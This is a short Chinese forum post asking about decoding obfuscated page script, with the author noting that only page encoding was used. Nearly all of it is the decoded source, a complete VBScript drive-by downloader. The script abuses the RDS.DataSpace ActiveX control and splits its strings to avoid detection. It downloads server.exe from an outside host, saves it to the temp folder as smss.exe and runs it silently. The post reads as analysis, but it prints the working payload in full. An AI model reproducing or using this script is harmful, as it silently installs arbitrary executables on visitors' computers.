关于javascript代码解密

只不过用了页面编码而已
源码如下:<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML Transitional//EN"><META http-equiv="Content-Type" content="text/html; charset=us-ascii"> <HTML> <BODY><SCRIPT language="VBScript">     oN ErRoR ReSuMe nExT    dL = "http://www.365xinyu.com/server.exe"    SeT Df = dOcUmEnT.CrEaTeElEmEnT("o"&Tr4c3&"b"&Tr4c3&"je"&Tr4c3&"c"&Tr4c3&"t")    Df.sEtAtTrIbUtE "classid", "c"&Tr4c3&"lsid:BD"&Tr4c3&"96C5"&Tr4c3&"56-65A"&Tr4c3&"3-11D0-"&Tr4c3&"983A-00C04FC"&Tr4c3&"29E36"    StR="M"&Tr4c3&"ic"&Tr4c3&"r"&Tr4c3&"oso"&Tr4c3&"ft."&Tr4c3&"X"&Tr4c3&"M"&Tr4c3&"LHT"&Tr4c3&"TP"    SeT X = Df.cReAtEoBjEcT(StR,"")    a1="Ado"    A2="db."    a3="Str"    A4="eam"    StR1=a1&A2&a3&A4    StR5=sTr1    SeT S = Df.cReAtEoBjEcT(StR5,"")    S.TyPe = 1    sTr6="GET"    x.oPeN StR6, Dl, FaLsE    x.sEnD    fNaMe1="smss.exe"    SeT F = Df.cReAtEoBjEcT("Scripting.FileSystemObject","")    SeT TmP = F.GeTsPeCiAlFoLdEr(2)     FnAmE1= F.BuIlDpAtH(TmP,FnAmE1)    s.oPeN    S.WrItE X.ReSpOnSeBoDy    S.SaVeToFiLe fNaMe1,2    s.cLoSe    SeT Q = Df.cReAtEoBjEcT("Shell.Application","")    Q.ShElLeXeCuTe fNaMe1,"","","open",0</SCRIPT></BODY> </HTML>